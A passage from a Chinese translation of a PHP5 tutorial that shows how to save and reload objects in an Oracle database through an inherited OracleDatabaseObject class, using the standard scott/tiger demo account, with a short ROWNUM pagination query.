现在您的类拥有了所需的服务,将对象保存至数据库的过程将非常简单,如下所示 (ExampleA.php):
PHP代码
- <?php
- include_once "DatabaseObject.class.php";
- include_once "OracleDatabaseObject.class.php";
- include_once "TestEntry.class.php";
-
- TestEntry::addDatabaseUser('scott');
- TestEntry::addDatabasePass('tiger');
- TestEntry::addDatabaseName('orcl');
-
- $anEntry = new TestEntry();
- $anEntry->title = 'Meeting with boss - 9am';
- $anEntry->body = 'Meeting with boss scheduled to discuss raise';
- $anEntry->author = 'Joe Bloggs';
- $anEntry->dayName = 'Tuesday';
- $anEntry->objectName = 'Tuesday';
- $anEntry->display();
- $anEntry->save();
在继承 OracleDatabaseObject 之后,您必须通过使用表 2 中所示的服务来将用户名、口令和数据库名称与类绑定(如第 5-7 行所示的方式)。这个操作将使得能够通过单独的用户名、口令和数据库名称来获取各个类(从而获取该类的所有对象) — 顺便说一句,这将为您的对象提供非常细粒化的安全性。
不过,您可能希望为对象提供特定的名称,例如 Tuesday。这种方式将使您能够通过调用 load() 方法从数据库中快速容易地检索对象(如下面的 ExampleB.php 所示)。
您应当注意的最后但可能最重要的一件事是第 14 行中的方法 save()。这个方法也继承了 OracleDatabaseObject 类,它只是将对象保存到数据库中。
加载 Oracle 对象
您已经看到了在 Oracle 中保存对象有多容易。您甚至不需要接触数据库!自然,下一步是检索它 — 这将一样简单。
使用 ExampleB.php 示例,您将把数据库对象加载到一个新的 PHP5 对象中(如下所示):
PHP代码
- <?php
- include_once "DatabaseObject.class.php";
- include_once "OracleDatabaseObject.class.php";
- include_once "TestEntry.class.php";
-
- TestEntry::addDatabaseUser('scott');
- TestEntry::addDatabasePass('tiger');
- TestEntry::addDatabaseName('orcl');
-
- $anEntry = new TestEntry();
- $anEntry->objectName = "Tuesday";
- $anEntry->load();
- $anEntry->display();
这将产生和 ExampleA 相同的输出:只需从存储在数据库中的对象中重新加载对象的状态,无需任何复杂的调用和查询,并且只需通过调用 display() 方法来显示对象的状态。
SQL代码
- $sql = "SELECT * FROM:
- (
- SELECT
- r.*, ROWNUM as row_number
- FROM:
- ( $select ) r
- )
- WHERE row_number BETWEEN :start_row AND :end_row";
关于更广泛的演示,请查看提供下载的完整的示例电子日历应用程序。它包含了类的源代码以及 UML 图,从而使您能够更彻底地研究这一技巧。
使用 Oracle/PHP5 对象
将对象存储在数据库中不只是一个小花招;相反,它是满足“完全在面向对象范例中进行开发”的需求的最后一步。它使您能够无缝地使用在传统的大型面向对象编 程中流行的所有技巧 — 使用诸如业务对象、UML 和契约式设计等方法 — 来进行分析、设计、开发和测试。这是一种激进的想法,但 Web 开发领域正朝这个方向努力。
Barry McKay 是一个居住在苏格兰 Glasgow 的兼职 Web 开发人员和面向对象方法的拥护者。他还是 International PHP Magazine 的撰稿人。